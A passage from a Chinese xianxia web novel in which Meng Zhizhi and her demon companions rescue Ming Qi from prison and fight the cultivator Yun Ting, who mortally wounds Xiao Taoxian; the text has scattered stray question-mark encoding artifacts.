小桃仙发?出满足的喟叹,道?:“天,舒服多了。真想躺在地上,一直这么被?挠痒痒。” 孟枝枝笑了笑。 她又手夹咒枣,捏诀一丢, 数只红色小鸟从石洞中飞了出去,这些都是一些简单的幻化法术,容易消散,却?可以偶尔做探听之用。 没一会儿,红色小鸟飞回?了孟枝枝手里, 又化作一缕烟消散。 她道?:“找到冥漆被?关的地方了!他被?关在天牢里。” 小桃仙伸了个懒腰, 道?:“那小皇帝呢?” 孟枝枝露出失落的眼神, 摇了摇头。 小桃仙道?:“那我们?先去把那个叛徒揪回?来,让他负责把小皇帝找回?来, 给人家道?歉。哼!这个事是他惹出来的,他就该背这个责任。” 小桃仙已经知道?事情全部来龙去脉。她这么一说,无疑给了孟枝枝信心?。 孟枝枝眼眸浅亮起来, “准备好了吗?” 小桃仙道?:“随时待命。” 孟枝枝拿出了破破烂烂的护他剑。虽然护他剑破损得不像样子?,剑灵早已沉睡, 但?作为飞行用具,却?能将就使用。 她手握护他剑,往其中注入灵力,小桃仙搭上她的肩膀。 “去。” 两个人悄无声息地来到了天牢附近,他们?藏在树上,被?茂盛的树枝遮盖了身形。 小桃仙在孟枝枝耳边道?:“你先在这里等我,替我掩护。我先去看看里面有没有埋伏。” 孟枝枝道?:“你小心?。” 只见小桃仙的身形瞬间缩小成拇指大小,极难被?人注意。 她坐在一只落叶上,随风飘了进去。 孟枝枝看着掌心?的花瓣,那是小桃仙留给她的,上面施展了妖术,可以看到小桃仙看见的影像。 她看见天牢里只有三三两两的狱卒,里面关押着一些囚犯,而冥漆在最深里面。 小桃仙越过?了重重障碍,终于?到了冥漆被?关押的那扇门?。 孟枝枝心?中激动。 而此时,树下闹出些动静。 “参见大人。” 孟枝枝凝神,就见樊鸣站在树下不远处。 他双手背在身后,道?:“如何?” “一切都在掌控之中,请大人放心?。” 樊鸣道?:“敌人会随时来犯,今夜不眠,你们?都给我严防死守。” “是,大人。” 樊鸣道?:“禁军搜了全部地方都没有她们?的踪迹,你们?将那只老鼠拉出来提审,今晚必须给我问出些什么!” “遵命。”那些人往牢里去了。 樊鸣坐上提前备好的座椅,喝着茶,看样子?不打?算走了。 孟枝枝的心?一下子?就被?提到了嗓子?眼。 她立马捏诀,对掌心?花瓣传音道?:“樊鸣就在外面等着,他们?要提审冥漆,已经往你那里去了。” 小桃仙刚迷晕了看守冥漆的狱卒,就收到了孟枝枝的传音。 她心?里咒骂了一句,该死的,怎么偏偏这时候来! 她再不犹豫,立马化出人形,前去拍醒冥漆。 “大傻子?,快醒醒。” 冥漆幽幽转转回?了神,一看来人,正惊讶道?:“小桃……” 小桃仙立马嘘了一声,哑声道?:“闭嘴!” 她开始施法拆除冥漆身上的桎梏,“他们?人来了,我们?现在必须马上走。” 冥漆身上贴上了密密麻麻的符文,虽然这些符文并不复杂,是低阶术法,但?要一个个拆起来也十分麻烦。 小桃仙屏息凝神,终于?拆完了符文。 门?外声响一动,“人呢?怎么都睡着了!” 外面开始变得嘈杂起来。 小桃仙和冥漆对视一眼,她无声道?:“赶紧化形。” 冥漆用唇语道?:“我法力没了。” 小桃仙要抓狂了。 她立马施展法术,就在门?被?推开的一瞬,她将冥漆变成了一片枯萎的树叶,自己缩小,躲在了树叶下。 “来人啊,那只鼠妖逃跑了!” 一瞬间,整个房间被?团团围住。 小桃仙赶紧对孟枝枝传音道?:“我和冥漆在一块,你想办法赶快把樊鸣引开!” 孟枝枝早将那边的场景全看在了眼里。 她不假思索捏诀,使用幻术将咒枣变成了冥漆的模样,她拿出护他剑,一手握剑,一手揽住“冥漆”。 “大人,不好了大人,那只老鼠不见了。” 天牢内的响动终于传了出来。 樊鸣从座椅上站起身来。 就趁这个时候,孟枝枝飞剑出去,闹出一点动静。 樊鸣寻声,抬头一看,视线与孟枝枝交叉。 底下人惊叹道?:“是她!是她劫走了那只老鼠!” 樊鸣道?:“追!” 孟枝枝丝毫不犹豫,立马往外飞。 不知什么时候,地面上出现乌泱泱一群人,他们?都朝孟枝枝追来。 但?人的两条腿,怎么比得上她剑的速度? 孟枝枝飞得很快。 忽而,一道?杀气冲来。 孟枝枝在空中急速转身,一道?剑意斩断了她的头发?,将她揽住的“冥漆”戳破。 幻术消散,天空落下零零星星的光点。 她稳住身形,站在了屋脊之上。 一人与她相对而站。 孟枝枝瞳仁微缩,道?:“云庭?” 云庭却?毫不留情,无尘剑向她袭来,银白色的剑意寒冷刺骨,威风凛凛。 孟枝枝快步躲闪,每一剑都被?她躲开了。 云庭道?:“短短时日?不见,你的修为竟然到了这个程度。说!你到底是谁?” 孟枝枝侧视,见樊鸣带人已经跑过?来了。 她道?:“我不懂你在说什么!你不要拦着我,此事和你无关。” 她拔腿想往外跑。 嗡地一声,无尘剑拦在了她跟前。 她猫腰一躲,敏捷迅速地往另一个屋脊上一跳,手里扔出护他剑,侧身坐在剑上,飞速逃离。 数道?白光剑影飞来,围在她左右四?周,见缝插针地攻击她座下的护他剑,她不得不分神挡住这些攻击。 然而,她很快发?现,自己的行动被?限制在固定的范围里,脚下樊鸣的禁军也赶到了。 樊鸣道?:“小孟女官,不要再负隅顽抗了。” 孟枝枝应道?:“大言不惭。” 樊鸣看她身形飞舞如梭,道?:“云仙师已赶往天牢了。” 调虎离山之计! 孟枝枝一僵,立马飞回?去。 樊鸣在她身后喊道?:“已经来不及了。” 孟枝枝将他远远甩在身后,心?急如焚。 她不知道?樊鸣怎么请动了云庭帮忙,云庭这人嫉妖邪如仇,上一世的阴影霎时被?唤醒,如影随形,她心?如擂鼓,只盼自己能快点,再快一点。 当她赶到天牢门?口之时,就见小桃仙已与云庭打?起来了,冥漆在一旁协助。 她喊道?:“慢着!” 她护在两位朋友跟前,道?:“云庭,我们?之间是不是有什么误会,你为什么要助纣为虐?” 云庭道?:“助纣为虐?孟枝枝,昔日?我帮你是看在你一片赤诚之心?,真心?救人。但?没想到,你却?是被?人蛊惑。说,那些天仙子?种子?你们?是从哪儿得来的?” 小桃仙叫嚣道?:“枝枝,你别跟他讲道?理,这人怪得很,怎么讲道?理都讲不通。我都跟他说了,我是玉坤山弟子?,冥漆也从未害过?人,我们?是来救人的,他非说我们?是在帮邪灵害人!” 孟枝枝心?道?,这误会大了。 她道?:“云庭,我不知道?樊鸣跟你说了什么,但?我想告诉你,樊家祸乱朝政数十年,囚禁虐待先帝的遗腹子?,如今还想弑帝。他们?明知皇宫禁地是为鬼母封印之地,却?掩藏事实,联合修士残害无辜的人。保皇派的大臣曾有恩于?我和我师父,小皇帝也有恩于?我,所?以我定要救出小皇帝。” 云庭道?:“你也知道?此地有鬼母封印之地,却?不上报,是何居心??” 孟枝枝道?:“那是因为……” 小桃仙道?:“枝枝,还跟他废什么话,直接开打?!” “小桃仙!” 只见小桃仙冲了上去,一脚直接往云庭脑袋上踢。云庭手肘一挡,挡掉小桃仙的腿,她又立即挥出一拳。 两人采取肉搏姿态,速度快得令人眼花缭乱。 孟枝枝一见时机,拉起冥漆的手腕,便?道?:“走。” 下一瞬,无尘剑赶来,拦住去路。 云庭这是打?算以一敌三! 无尘剑使出剑招,孟枝枝拿出破破烂烂的护他剑立马抗住。但?她很快发?现,剑灵沉睡后的护他剑不足以和无尘剑抵抗。 她只是不断被?动接受无尘剑的入侵。 无尘剑乃七百年雪豹精的妖丹化炼而成,孟枝枝的护他剑却?只是一把百年的桃木剑。能抵挡住无尘剑数次的伤害,已实属不易。护他剑那遍布周身的碎缝,看得让人胆战心?惊——护他剑是不是下一秒就要被?劈碎了? 冥漆这时推开孟枝枝,一口咬住了无尘剑。 无尘剑刺破了他的舌头,流出汩汩鲜血。 无尘剑滞了一瞬,连身为剑主的云庭都感应到了无尘剑的不对劲。 云庭道?:“荒谬,他是什么,你又是什么?切勿混为一谈!” 虽然不知道?出现了什么情况,但?看见无尘剑的行动变得迟钝,孟枝枝趁机拉起金弓,三支附有净化天地咒的金箭同时飞了出去。 一支飞向无尘剑,无尘剑似乎感受到了那箭力的强大,从冥漆的嘴中逃脱了出来,拦腰斩断了金箭。 第二支紧随其后,原来第一支剑是虚,第二支箭才是实,霎那间金光与银雪之间激烈碰撞擦出火花,刺目耀眼。 无尘剑作为法器,与咒术相比,谁究竟更厉害? 无尘剑本身并非剑,而是一堆优质玄铁和一颗七百年雪豹的妖丹献祭炼化而成。炼化前的雪豹精本就天生地长,拥有强大的灵力,炼化之后的无尘剑更是被?道?君承认,打?上道?家烙印,有道?君神力庇佑,是实实在在的道?家神圣法器。 但?强大的净天地神咒,是中高?阶的咒术,净念道?君曾以其牵制孟枝枝等四?人,打?得他们?狼狈之极,差一点全团皆灭。净天地神咒可以说代表着道?门?里净化术中最高?层次的神力,能使万物归元,返璞归真。 既是同宗,相生相煎,不好一口评定。 如今只能看谁的修为更甚一筹。 果然这一击,让无尘剑没法立马脱身。 冥漆化身巨兽,跳回?孟枝枝身边。 此时樊鸣等人赶到,不少人生平第一次见银发?妖兽,吓得两腿发?软,人群之中传出惊恐之声。 樊鸣道?:“快助仙师一臂之力!” 号令一下,众人只得硬着头皮上前。 冥漆冲他们?一吼,狂风一卷,将他们?都吹分散开来,远离战场。 云庭一见妖兽对人类呲牙咧嘴,骂道?:“孽畜,胆敢伤人?” 他捏诀,“无尘剑!” 无尘剑本还在和金箭消磨,这一瞬,被?云庭施加咒术,立马稳定剑心?,几番纠缠,找准时机,从中间缓缓劈裂了金箭,劈成了两段。 见它要刺向冥漆,孟枝枝连忙拦在跟前,手握一把金箭与之抗衡。她步步后退,脚底冒火,地上擦出两道?长长的黑色痕迹。 “他奶奶的,你的对手可是我!”小桃仙看孟枝枝那边局势不利,又急忙冲到云庭跟前,打?断他施法。 她身形一瞬壮大,双手变成巨大的树枝,遍天飘舞起夹竹桃花瓣。 她眉眼现出妖冶桃色,与此瞬间,冥漆双眸也变成绿色,两妖相背。一妖拦住了云庭,一妖拦住了那帮人类。 无尘剑扑面而来的寒气,冻伤了孟枝枝的脸。 她却?拼劲全力站立住了,手被?寒冰冻结,变得像石头一样重。 她一字一句顿道?:“天降神威,赋予枣上,逆我者皆逐!” 金箭一碎,她手上的寒冰也跟着碎裂开。 无尘剑刹那离她的眼睛不过?一寸。 那倒映着银白剑身的眼睛,分毫不眨。 无尘剑犹豫不已。 孟枝枝突然徒手握住剑刃。无尘剑立马挣扎,剑刃割裂开她的掌心?,淌出鲜血。尝到了孟枝枝的鲜血一瞬,无尘剑剑身瞬间剧烈颤抖起来。 孟枝枝看出来了,无尘剑的剑灵似乎对他们?有恻隐之心?。 她趁机握住了无尘剑的剑柄。 被?人控制那一瞬,无尘剑清明了起来,立马想甩开她。 突然从她的袖下,无数金箭弯曲成绳状,如蛇般缠绕上去,将孟枝枝的手牢牢缠绕在剑柄上。 无尘剑第一次被?除主人以外的另一人触碰,心?中陡然升起恐惧的陌生感。 孟枝枝抓紧道?:“无尘剑,请听我说,我们?都不是坏人。云庭不肯听我们?解释,但?我相信你知道?我们?没害过?人,对吗?” 见无尘剑被?孟枝枝控制,云庭便?想来解救,小桃仙挡住他的去路,道?:“都说了,你的对手是我!分什么心??!” 云庭道?:“嚣张跋扈。” 他以咒术与小桃仙对决。 孟枝枝趁此机会道?:“无尘剑,如果你不信,我带你去别院,你只要一见,就会明白。你也不想你的主人被?坏人蒙蔽,放过?真正的坏人吧?” 无尘剑铮地一声,忽而放弃了挣扎。 孟枝枝立马道?:“冥漆,跟着我!” 她捏诀,催动灵气,驾驭无尘剑去往别院。银发?巨兽向人类发?出最后一声怒吼,吓得在场人不敢上前追逐。 冥漆紧跟而上。 云庭见状,便?停止了和小桃仙打?斗,追了过?去。 一瞬间,几道?幻影疾速往一处赶去。 樊鸣冷冷地看着,见孟枝枝他们?消失不见。 他遣人道?:“去水牢看看他死了没?” 第54章 第 54 章 来到那座吊桥处, 那里瘴气蔓延,桥身上黄色的?符纸在前一夜的?打斗中被烧去大半。 孟枝枝一咬牙,带着无尘剑冲过?了吊桥。 她的?身体仿佛被火灼烧,背脊一瞬紧绷起来, 额头大滴大滴汗珠往下掉落。 她目光灼灼, 看到别院大门那一瞬眼睛一亮, 嘶哑着嗓音道:“就是这里。” 此时, 云庭等人也赶到了。 孟枝枝一把推开别院大门, 里面一股阴气迎面而来。 她道:“我们此前就被关?在此处。这里亦是鬼母封印之?地,这一点我也是前不久才得知?。” 云庭步履飞快,与孟枝枝相对。 他摊开双手,道:“拿来。” 孟枝枝手中金箭一碎,她将无尘剑交还给了云庭, 道:“我只是想?要个解释的?机会,不想?同你为?敌。” 云庭反手将无尘剑往孟枝枝脖子上一横。 “枝枝!”小?桃仙和冥漆喊道。 小?桃仙道:“云狗,把你的?剑拿开!不然信不信姑奶奶我上千霄宫天天闹!” 冥漆一把拉住小?桃仙,道:“枝枝现在在他手里,小?桃仙别冲动!” 云庭握剑姿势不改一分?。 孟枝枝道:“你还是不相信我所?说的??” 云庭道:“我为?何要相信?” 孟枝枝道:“仙盟曾立下誓言让赢氏一族代代掌管人界, 但赢氏一族子孙有难, 仙门却置之?不理, 这到底是为?什么?” 她早就想?问这个问题了,若是赢破出生之?时, 就有仙门之?人护佑,怎么会被奸臣囚禁一生? 她道:“仙门说要管此事,为?何不早早地管, 晚了数十?年?,此举不是太过?随性?” 云庭道:“你是在怪罪仙门?” 孟枝枝道:“不敢。” 云庭道:“倒是嘴硬。” 孟枝枝道:“物证在此, 道家法术中有回溯一法,我说的?是不是真的?,你自己查物一看便知?。” 云庭道:“你还知?道回溯一法?” 孟枝枝心道,自然知?道。 上一世?,她与那些仙门之?人打交道甚多,早就知?道仙门之?人讲究证据都会使用回溯法术,方式是将手放在物品之?后便能看见过?往所?发生的?事。 虽然看到的?片段短暂,但不失为?一种找寻真相的?手段。 云庭收回无尘剑,将它收回了剑鞘之?中。似是因?为?被人拿捏,将气都撒在了剑上。 他将手靠近大门,冷峻的?双眸朝她看了一眼,才闭上。 孟枝枝心中紧张万分?。 她不知?道云庭会看见什么。樊鸣和他说了些什么,她也全不知?道。只是依照樊鸣那厮颠倒黑白的?功夫,她不敢放松警惕。 此时,樊鸣身边有人来报,在他耳边说了些什么。 樊鸣道:“人不见了?钱喜呢!” “报,不知?道。钱公公也突然不见了。” 樊鸣道:“你们都给我看清楚了?” “大人,小?的?们看得真真切切的?。那里真没人!” 樊鸣脸色难辨,道:“知?道了,退下吧。” 不一会儿,旁边突然来了一位穿着一身斗篷的?人,他是樊府中的?管家,拿出宰相的?令牌,询问道:“公子,宰相大人派我来问你,事办得如何了?” 樊鸣对着令牌,恭敬道:“禀告父亲大人,儿子正在按计划行事。” 那位斗篷之?人,又问道:“可有差错?” 樊鸣道:“皇帝不见了。” 斗篷之?人徐徐道:“左右出不了这皇宫。最?近你办事不太上心,是有私心了?” 樊鸣深深埋头道:“儿子不敢。敢问二?妹如今是否还在府中?” “你担心盈绣掺和进来?” 樊鸣道:“那倒不是。我只是担忧上次失败,后续计划该如何进行?是不是再重派个女子……” “此事已定。赢氏下一任子孙必须出自盈绣的?肚子。你如今怜惜起你妹妹来了?” 樊鸣道:“二?妹性格高傲,怕是承受不了。” “此事不用你担忧。她自幼便是樊家的?掌上明珠,终究是要为?这个家族付出的?。” 樊鸣默然了一会儿,道:“千霄宫那位大弟子已经去了别院。” “什么?”那穿戴斗篷之?人语调一重,“无妨。” 樊鸣抬眸,似有些意外。 “你是在担心此事?公子,你知?晓一个观念根深蒂固想?要被彻底扭转有多难吗?” 樊鸣不解。 “难如登天。” 云庭猛地睁开眼睛。 孟枝枝急道:“你都看见了吧?看见他们怎么对待他了吧?” 云庭与她对视,那冷峻的?眼神,令她心里一跳。 云庭冷淡道:“看见了。” 孟枝枝心中有疑,一时不知?道该怎么说话。 云庭道:“他如今人在何处?” 孟枝枝道:“被樊鸣他们关?在了水牢里。你能去救他吗?” 云庭淡道:“我还有更重要的?事要做。” 孟枝枝气急,道:“你不是都看见了吗?他们做的?那些惨无人道之?事!” 云庭道:“那是情有可原,人界皇帝不似常人,此事还要再探。” 孟枝枝唇角略带讥讽,道:“再探?” 小?桃仙也跟着气道:“傻狍子,我都跟你讲了,和这人说不通,他脑子是死的?!别求他了。” 云庭道:“你们不得再去骚扰人类。” 云庭施展出结界,此地许进不许出。而且此结界不仅厉害,还很?邪怪,越是法术高深之?人想?闯出去,结界便越是牢固。 孟枝枝他们被他锁在了此地。 “我靠,你是不是有病啊?”小?桃仙气得跳脚,冥漆一直拦着她。 云庭只回以一个高傲的?眼神,不再搭理。 路一剑此时也赶到了此地,一声?嘹亮的?“大师兄”,让众人纷纷都往此处看。 路一剑误以为?孟枝枝三人是大师兄请来的?帮手,朝他们热情打招呼,孟枝枝三人皆不理。 他见他们脸有气愤,又不好问什么,直接窜到云庭跟前道:“大师兄,我都准备好了,什么时候开始加强封印?” “现在。” “好嘞。” 只见路一剑开始盘腿而坐,默念咒语,手中持有一柄绿色的?玉如意。 玉如意散着绿光,此地阴霾一瞬散开。 孟枝枝抬头看去,一看那柄玉如意,原本阴沉沉的?内心,一下子震动起来。 她跑去路一剑跟前,质问道:“这柄玉如意,你从何处得来的??” 见孟枝枝破坏路一剑加固封印,云庭厉声?道:“孟枝枝!” 孟枝枝早已看云庭不爽,此时心中想?偏叫他不如意。 她问路一剑道:“你是不是认识我师父?” 路一剑不明白,道:“你师父是谁?” “孟慕华。” 云庭持剑而来,将她与路一剑分?隔开,他道:“你也知?此地是鬼母封印之?地,该知?道鬼母害人,为?何阻止修复封印?” 孟枝枝不想?搭理他,便嘲讽道:“我说了,你就会信吗?” 她将目光重新投向路一剑,道:“你究竟认不认识?” “一剑,你别管她,专心修复封印。” 路一剑感觉不妙,但又不得不听大师兄的?话。 小?桃仙骂道:“欺人太甚!” 她与冥漆站在孟枝枝身侧,将一切发生都看得清清楚楚,她直接向路一剑袭来,夺走了那枚玉如意。 玉如意被夺去的?一瞬绿光暗沉下去,四周阴气重新聚拢,天空甚至都暗了几分?。 她道:“你说干嘛便是干嘛,凭什么?我们要救人,哪有时间和你在这里耗下去。” 她一脚踩在路一剑的?肩头,道:“回答枝枝的?问题,你们千霄宫是不是囚禁了她的?师父!” 路一剑完全晕头转向,道:“什么?囚禁?我不认识她师父啊!” 小?桃仙道:“我们见过?一模一样的?玉如意,只是那个是白色,你这个是绿色,要说一点关?系都没有,狗都不信!” 孟枝枝道:“净念道师和你们千霄宫究竟什么关?系?” 她没有阻止小?桃仙,反而和小?桃仙站在了一起。 云庭见状,眼光愈来愈冷。 局势又一次紧张起来。 路一剑下意识摸着下巴道:“净念道师?我好像在哪儿听过?这个名字?” “一剑,别浪费时间,速速夺回玉如意,修复封印!” 云庭持剑立马上前。 孟枝枝、小?桃仙二?人早已准备好攻势,冥漆恢复巨兽形态。 路一剑一看要打起来了,便道:“别打啊,大师兄!” 他之?前见过?孟枝枝,自然知?道孟枝枝就是救了梅珊一命的?那位医修。后来听说孟枝枝消失在了水夜叉之?中,梅珊还内疚了许久。 他原本还想?告诉梅珊关?于此事,梅珊知?晓了定然高兴。可发现孟枝枝似乎和大师兄之?间有什么矛盾,两?个人之?间的?氛围可以用剑拔弩张形容。 路一剑不知?情况,只得缓和气氛道:“大师兄,勿要拔剑,修复封印要紧。孟仙子,劳烦将玉如意归还于我,鬼母封印不稳,恐怕还会有鬼物徘徊,等我修复完封印,自会告诉你关?于‘净念道师’的?事。” 孟枝枝一方早已被云庭欺压得紧,原来也是想?同他好好解释,却不曾想?这人刚愎自用,完全不给人解释的?机会。 孟枝枝认同小?桃仙那句话“和云庭讲道理根本讲不通”,她学聪明了,道:“你先告诉我,我再还给你。” 云庭抬剑就要去抢,路一剑连忙拉住道:“大师兄,大师兄,别冲动!你这一剑怕是要把封印劈开。这可是老?祖宗留下的?封印啊!” 云庭太阳穴直突,道:“你们作为?有修为?之?人,不以百姓之?命为?首,反倒在此地任性妄为?!你们有何脸面!” 孟枝枝道:“我师父也是南元国的?百姓,小?皇帝亦是南元国的?皇帝,如今他们处在水深火热之?中,难道要我眼睁睁看着?云庭,如果是你的?亲人遭遇这般处境,你是要救苍生,还是要救他们!” 云庭眼神一凛。 路一剑感觉大师兄周遭气息变得压迫至极,怕是已经气到了极点。他心里战战兢兢,孟仙子正踩上上大师兄的?雷点了。 外人只知?道大师兄名冠仙门,少年?英才,却不知?道大师兄之?所?以这么对妖邪嫉恨,正是因?为?他的?亲人被妖邪所?害。 他对详情也并不知?晓,但听师父贤剑真君讲过?。 那时候大师兄练功练到走火入魔。 他正要去殿上面见师父。刚一踏上台面,就听师父冲大师兄发了好大的?脾气。 “我知?道你的?亲人被妖邪害死,你想?报仇。但看看你现在,你真的?想?为?他报仇吗?你自己都走火入魔,还如何去面对妖邪!还没见到妖邪,你自己便先自投罗网了!” 他吓得不敢进殿,只敢在殿外等待。 只是从那儿之?后,他便再也没听说过?大师兄练功练到走火入魔。 孟仙子此举简直是拿剑往大师兄心窝里戳啊! 云庭道:“救苍生便是救每一人。拿来!” 孟枝枝深吸一口气,眼神凌厉,“那你便自己来抢吧!” 她将玉如意持在手中,念起净天地神咒。 路一剑急道:“孟仙子,千万别用坏了啊!那可是我师门重宝!” 话音刚落,他身边挂起一风,吸走他的?衣袂。 再一看,云庭已经拔剑而起,冲向孟枝枝了。 玉如意竹绿色的?光辉清雅,当它照起来的?一瞬,四周阴气全然被净化一空。 云庭丢出无尘剑向孟枝枝一劈。 无尘剑一接触到这竹绿色的?光辉,便嗡鸣不止,剑身剧烈颤抖,频率快得幻出花影。银白的?剑身逐渐被侵染,露出一点黑色玄铁。 云庭骂道:“小?人!” 他连忙收回无尘剑,但遭遇小?桃仙和冥漆的?围追堵截。 无尘剑收不回来。 云庭回头一看,道:“路一剑!” 路一剑心里咯噔,道:“大师兄,我去把无尘剑带回来!” 他道:“多谢仙子当日对梅珊救命之?恩,还请将玉如意归还,师门有命,不敢违抗。” 孟枝枝道:“你大师兄欺人太甚,不还!” 路一剑心苦,任是知?晓大师兄容易得罪他人,也没想?到能把别人得罪得死死的?。怪自己没有早到,不然局面也不至于发展到这一步。 路一剑道:“仙子想?知?道‘净念道士’的?事,我可以同仙子讲。我不知?‘净念道士’是否与我所?知?的?‘净念’为?同一人,我所?知?道的?‘净念’原是千霄宫百炼堂的?一位执事,后来他叛出师门,潜逃出宫,下落不明。此事事关?师门名誉,有意被压下,现在知?晓的?人甚少。” 孟枝枝心中有愤,但见路一剑不拔剑,言辞之?间也是顺着她的?意思,好歹让她消去一些怒意。 她思索一番,捏决,腰间的?桂花香囊里飞出一枚朽化的?白玉如意,“此物是不是你们千霄宫的??” 路一剑一见道:“这……” 这朽化的?白色玉如意和孟枝枝手里持有的?竹绿色玉如意,简直一模一样! 更为?神奇的?是,当这枚朽化的?玉如意接触竹绿光辉之?时,它身上的?朽迹慢慢掉落,扑扑簌簌,竟然恢复了原样! 再看那两?柄玉如意,神圣光洁,如果说一点关?系都没有,谁也不相信! 路一剑顿时头疼,道:“孟仙子,老?实说,我也是第一次见这白玉如意,我敢保证,我以前从未见过?此物!但是……这怎么会呢?” 路一剑想?伸手去碰一碰那柄白玉如意,下一秒就被孟枝枝收了回去。 孟枝枝道:“‘净念’是多久叛逃千霄宫的??” 路一剑心感孟枝枝真是一点情面不留,但也老?实道:“大概数十?年?前。” 孟枝枝与他四目相对。 路一剑立马道:“我说得全是真话!如果我没记错,应该是十?七年?前人界被天仙子入侵,遍地魔物。众家仙门下界相助除魔,那叛徒就是趁此机会逃出去的?。” 孟枝枝慢慢将目光收了回来,将那柄白玉如意重新收回囊中。 路一剑眼巴巴地看着那白玉如意流口水,道:“仙子,能将如意归还给我吗?” 孟枝枝面不改色,道:“放我们出去。我们出去了,此物可以还给你。” 路一剑顿时变成苦瓜脸,道:“这我没法帮你啊,这结界之?术,大师兄如果说是弟子中第二?人,那没人能称第一!我的?结界之?术只能算中等……以上罢。”尾音极度心虚。 孟枝枝道:“那你便叫他放了我们!我们已经在他身上耗了太多的?时间,亏我还想?同他认真解释,现在赢破是生是死,我们都不知?道。你知?道我多少次将他从阎王手里夺回来?但,就因?为?他,云庭!” 她恨道:“每逢关?键时刻,总是他来破坏。” 她双眸充血,撑了一夜的?脸色很?差劲,但心中的?恨意流露尽至。 路一剑心里大受震动,道:“我帮你。” 孟枝枝眼神一松,道:“真的??” 路一剑道:“我见孟仙子不像是不讲道理之?人,对我们多次相助,不光救了梅珊的?命,又在水夜叉一战中支援。事后没有救回你,梅珊十?分?自责,还好你还活着。谁都有心里在乎之?人,大师兄他……我不说了,你且等我。” 路一剑回头,喊道:“大师兄,就放了他……” 只见云庭一剑插进了小?桃仙心脏之?处。 路一剑脸色大惊。 身后传来孟枝枝撕心裂肺的?喊声?。 “小?桃仙!” 第55章 第 55 章 孟枝枝一把推开路一剑, 疯狂地往小桃仙那处冲去。 “小桃仙!小桃仙!” 冥漆早已?吓得说?不出话来,他紧紧捂住小桃仙胸口的伤,那血就像冒泉水一样,不断往外冒出。 小桃仙口中流出鲜血, 还有?些?懵, 她看见孟枝枝已?经泪流满面, 法术金光在她指尖没有?断过。 “傻、傻狍子, 你哭、哭什么??”她一口鲜血又吐了出来。 孟枝枝难以压抑, 哭道:“对?不起,对?不起。都是我的错,我不该让你去跟云庭打,我错了。谁来救救我们!” 她慌不择已?,无论如何都止不住小桃仙流出来的血。无尘剑的寒意刺入小桃仙的心脏里, 她念咒念得两?腮胀痛,但?只?见那血涌出得越来越快。 小桃仙快死了。 “该死,怎么?会没有?用!”孟枝枝将自己的唇瓣都咬破了。到?最后,她只?能和冥漆一块用手把小桃仙的伤口堵住。 血迹浸透了小桃仙的胸口,延绵到?地面上。 冥漆摸着她的脸, 道:“小桃仙, 我还有?很多话没有?说?, 你不能睡!醒醒!” 路一剑难以置信地向云庭看去,道:“大师兄, 你……” 云庭心中有?一瞬悔意,道:“她出招凌厉,又言语挑衅, 说?她做妖之时害人,我便想?除了祸害。罢, 事到?如今,没什么?好解释的。” 云庭迈步上前。 冥漆顿时化成巨兽,冲他奋力一吼,“滚啊,你给我滚!” 云庭道:“我试试救她。” 冥漆道:“不许你碰小桃仙,肮脏的人类!” 云庭早就知?道冥漆法力不济,只?是一个妖丹尽损的小妖,故而并未动弹。 路一剑拉住云庭,道:“我去看看!我的医术是师门里最好的!让我去救救她,或许还有?救!” 冥漆一同看不顺眼这人,他浑身银毛倒竖,冲他们嘶吼,发泄心中的愤怒。 孟枝枝眼泪从眼角滑落,声音沙哑难听,道:“冥漆,让路一剑过来,救小桃仙要?紧。” 冥漆虎视眈眈地看着路一剑,呲牙咧嘴。路一剑一脚踏出,赶快来到?小桃仙身边,也不敢看孟枝枝的目光,拿出师门法宝,开始救治。 他探了她的丹田,惊道:“她之前被魔气伤过?!” 孟枝枝道:“是天仙子的魔气,我用净化术为她除了魔气。” 路一剑道:“除魔气,光是净化水术不够,天仙子开花后的魔气一旦进?入体内,便会将种子也带入,种子会在体内繁衍。她如今体内已?经长满天仙子的种子。之所以止血止不住,就是因为天仙子在不断耗尽她的灵肉。” 路一剑咬了咬牙,道:“她……我无能为力。对?不起。”他费了今生最大的力气说?出这几个字。 孟枝枝猛地抬头?,道:“不可能!小桃仙不会死的!” 她盘腿而坐,开始捏决。 路一剑抓住她的胳膊,道:“你要?干什么??” 孟枝枝双眸早已?通红,道:“我把我的血肉换给她,让天仙子吃我的灵肉!” 路一剑道:“你这样做不光救不回她,还会搭上你自己。要?想?除尽天仙子的种子除非用三?昧真火。只?有?炼丹的千年炉鼎才有?真火。她现在的情况,身体如此虚弱,压根受不了真火的烤炙。” 孟枝枝道:“你难道要?我眼睁睁看着吗?” 路一剑不忍心说?出那几个字。 他道:“仙子,还有?人等着你去救。” 孟枝枝攥紧拳头?,默了好一会儿,她松开拳头?,用很平稳的声音道:“冥漆,你看着小桃仙,好好陪着她说?会儿话,别让她睡着了。” 冥漆连忙回来,将小桃仙抱进?怀里,摁住她的伤口,“小桃仙不要?睡,我是冥漆,我在。” “冥漆?我刚刚听见傻狍子好像哭了,你得哄哄她,把她哄高兴点。我昨天才哄好她,女孩子老是哭,不好。”小桃仙眼皮很重,已?经看不清眼前之物,说?话十分费劲。 “恩。” “我好困,好难受啊。” 冥漆眼中含着泪光,道:“忍一忍,很快就会好起来。” 只?见孟枝枝抽出护他剑,笔直向云庭刺来。 云庭用无尘剑接住,“对?不起,我并非真想?她死。” 孟枝枝道:“荒谬!是你害死了她,是你!你杀死了我最好的朋友。云庭,我最后悔的事,就是曾对?你有?过期望,我原以为,你既然视除妖邪为第?一,也该知?生命之贵重。但?我错了,在你眼中,除了一个飘渺的‘苍生’,其他人,你压根不放在眼里。” 她鼻子泛红,抬起剑道:“受死吧!” 她几乎是不要?命的打法,每一剑都往云庭的心口刺去。 云庭只?得暂避,一边拆解她的招,一边又想?办法不伤她。 别院里剑光幻影,路一剑见此状也不知道如何是好。 这复杂的情况,既救不了人,也阻止不了大师兄和孟仙子之间的战斗。 路一剑思索一二,必须得做出选择。 不得已?,他终于拔出剑去支援云庭。 大师兄不能出现问题。天仙子和鬼母封印之事都十分重大,不能再有?任何闪失,否则死去的,会不止小桃仙…… “大师兄,我来助你。” 孟枝枝看着眼前站着两?人,她怒目切齿,手中举着剑,同时释出两?柄玉如意,一人之下,三?把法器,雷霆万钧。 云庭迎战,但?他却将无尘剑插入土地之中。 “大师兄!” 云庭用手一挥,制止了路一剑的问话。 孟枝枝气笑了,道:“你以为你这样做,就能当个正人君子了?痴心妄想?!看剑!” 她提剑而上,路一剑率先用剑与她对?上。 路一剑同样作为贤剑真君座下的内门弟子,剑术在同辈弟子中也是佼佼者。 他发现孟枝枝的剑术凌厉有?余,但?招数不足。他便想?速战速决。 